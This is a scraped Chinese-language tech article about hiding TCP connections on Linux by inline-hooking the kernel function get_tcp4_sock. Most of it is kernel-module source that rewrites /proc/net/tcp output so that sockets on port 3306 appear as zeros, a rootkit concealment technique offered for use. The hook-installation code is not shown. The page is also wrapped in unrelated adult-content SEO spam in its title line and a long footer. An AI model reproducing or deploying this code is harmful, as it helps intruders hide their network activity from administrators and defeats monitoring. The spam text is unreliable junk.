成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Linux下隱藏網絡連接的另一種方法

系統 Linux
直接inline hook住get_tcp4_sock這個函數就行了,只不過需要重新實現下get_tcp4_sock的功能,在作下過濾。比較簡單,代碼如下:
直接inline hook住get_tcp4_sock這個函數就行了,只不過需要重新實現下get_tcp4_sock的功能,在作下過濾。比較簡單,代碼如下:

 #include <linux/kernel.h>
    #include <linux/init.h>
    #include <linux/module.h>
    #include <linux/version.h>
    #include <linux/types.h>
    #include <linux/string.h>
    #include <linux/unistd.h>
    #include <linux/fs.h>
    #include <linux/kmod.h>
    #include <linux/file.h>
    #include <linux/sched.h>
    #include <linux/mm.h>
    #include <linux/slab.h>
    #include <linux/spinlock.h>
    #include <linux/socket.h>
    #include <linux/net.h>
    #include <linux/in.h>
    #include <linux/skbuff.h>
    #include <linux/ip.h>
    #include <linux/tcp.h>
    #include <net/sock.h>
    #include <asm/uaccess.h>
    #include <asm/unistd.h>
    #include <asm/termbits.h>
    #include <asm/ioctls.h>
    #include <linux/icmp.h>
    #include <linux/netdevice.h>
    #include <linux/netfilter.h>
    #include <linux/netfilter_ipv4.h>

    MODULE_LICENSE("GPL");
    MODULE_AUTHOR("wzt");

    __u32 wnps_in_aton(const char *str)
    {
            unsigned long l;
            unsigned int val;
            int i;

            l = 0;
            for (i = 0; i < 4; i++) {
                    l <<= 8;
                    if (*str != '\0') {
                            val = 0;
                            while (*str != '\0' && *str != '.') {
                                    val *= 10;
                                    val += *str - '0';
                                    str++;
                            }
                            l |= val;
                            if (*str != '\0')
                                    str++;
                    }
            }

            return(htonl(l));
    }

    void new_get_tcp4_sock(struct sock *sk, struct seq_file *f, int i, int *len)
    {
            int timer_active;
            unsigned long timer_expires;
            struct tcp_sock *tp = tcp_sk(sk);
            const struct inet_connection_sock *icsk = inet_csk(sk);
            struct inet_sock *inet = inet_sk(sk);
            __be32 dest = inet->daddr;
            __be32 src = inet->rcv_saddr;
            __u16 destp = ntohs(inet->dport);
            __u16 srcp = ntohs(inet->sport);

        printk("!! in new_get_tcp4_sock.\n");

            if (icsk->icsk_pending == ICSK_TIME_RETRANS) {
                    timer_active    = 1;
                    timer_expires   = icsk->icsk_timeout;
            } else if (icsk->icsk_pending == ICSK_TIME_PROBE0) {
                    timer_active    = 4;
                    timer_expires   = icsk->icsk_timeout;
            } else if (timer_pending(&sk->sk_timer)) {
                    timer_active    = 2;
                    timer_expires   = sk->sk_timer.expires;
            } else {
                    timer_active    = 0;
                    timer_expires = jiffies;
            }

    /*
        if (src == wnps_in_aton("127.0.0.1")) {
            printk("got 127.0.0.1");
            return ;
        }
    */
            if (srcp == 3306 || destp == 3306) {
                    printk("got 3306!\n");
            seq_printf(f, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X %02X:%08lX "
                            "%08X %5d %8d %lu %d %p %lu %lu %u %u %d%n",
                    0, 0, 0, 0, 0, 0,
                    tp->write_seq - tp->snd_una,
                    sk->sk_state == TCP_LISTEN ? sk->sk_ack_backlog :
                                                 (tp->rcv_nxt - tp->copied_seq),
                    timer_active,
                    jiffies_to_clock_t(timer_expires - jiffies),
                    icsk->icsk_retransmits,
                    sock_i_uid(sk),
                    icsk->icsk_probes_out,
                    sock_i_ino(sk),
                    atomic_read(&sk->sk_refcnt), sk,
                    jiffies_to_clock_t(icsk->icsk_rto),
                    jiffies_to_clock_t(icsk->icsk_ack.ato),
                    (icsk->icsk_ack.quick << 1) | icsk->icsk_ack.pingpong,
                    tp->snd_cwnd,
                    tp->snd_ssthresh >= 0xFFFF ? -1 : tp->snd_ssthresh,
                    len);

            }
        else {
            seq_printf(f, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X %02X:%08lX "
                            "%08X %5d %8d %lu %d %p %lu %lu %u %u %d%n",
                    i, src, srcp, dest, destp, sk->sk_state,
                    tp->write_seq - tp->snd_una,
                    sk->sk_state == TCP_LISTEN ? sk->sk_ack_backlog :
                                                 (tp->rcv_nxt - tp->copied_seq),
                    timer_active,
                    jiffies_to_clock_t(timer_expires - jiffies),
                    icsk->icsk_retransmits,
                    sock_i_uid(sk),
                    icsk->icsk_probes_out,
                    sock_i_ino(sk),
                    atomic_read(&sk->sk_refcnt), sk,
                    jiffies_to_clock_t(icsk->icsk_rto),
                    jiffies_to_clock_t(icsk->icsk_ack.ato),
                    (icsk->icsk_ack.quick << 1) | icsk->icsk_ack.pingpong,
                    tp->snd_cwnd,
                    tp->snd_ssthresh >= 0xFFFF ? -1 : tp->snd_ssthresh,
                    len);
        }
    }

【編輯推薦】

  1. Linux系統下配置Netware服務器方法
  2. 嵌入式設備上的 Linux 系統開發
  3. 深度介紹Linux內核是如何工作的(1)
責任編輯:龐桂玉 來源: IT168
相關推薦

2009-06-17 12:01:21

Linux

2010-07-21 16:23:09

運行telnet程序

2015-07-28 13:36:04

2013-05-22 15:31:07

AOP的CGlib實現

2014-09-17 14:37:06

2018-04-18 07:34:58

2010-06-09 16:17:20

TCP IP協議網絡故

2016-03-03 10:29:31

用戶信息改進

2011-12-29 21:28:31

Metro UI

2023-06-18 23:19:17

ChatGPTPPT方式

2016-07-11 16:18:26

互聯網

2010-09-02 09:14:35

CSS浮動

2014-01-13 10:36:53

C++錯誤

2019-01-02 08:04:29

GAN損失函數神經網絡

2011-07-21 14:17:15

Ceylon

2013-09-30 10:13:08

IT女程序員

2010-03-29 21:04:02

無線網絡配置

2013-10-21 15:11:15

OrmsqlOrm設計

2016-10-26 09:12:58

2019-03-17 15:59:05

Android PAPIAPP
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 最近中文字幕在线视频1 | 久久久91精品国产一区二区三区 | 欧美视频三区 | 国产剧情一区 | 国产成人在线免费 | 久久偷人 | 精品日韩一区二区 | 国产精品久久久久久久久久三级 | 一区二区三区日韩精品 | 九九免费观看视频 | 蜜桃在线播放 | 国产免费a| aaa级片| 精品国产aⅴ| 精品久久一区 | 亚洲一区二区在线播放 | 成人在线免费电影 | 亚洲国产免费 | 国产黄色av网站 | 麻豆精品国产91久久久久久 | 精品国产免费一区二区三区演员表 | 亚洲一区 中文字幕 | 99在线精品视频 | 日韩一区不卡 | 97精品超碰一区二区三区 | 国产激情片在线观看 | 久久国产精品一区二区三区 | 五月天天色 | 黄色片免费看 | 日韩在线 | 午夜爽爽爽男女免费观看 | 丁香婷婷成人 | 久久乐国产精品 | 91精品国产91 | 黑色丝袜三级在线播放 | 精品久久久久一区二区国产 | 日韩和的一区二在线 | 成人欧美一区二区三区视频xxx | 亚洲精品久久区二区三区蜜桃臀 | 91精品国产91久久久久久不卞 | 亚洲精品一二三区 |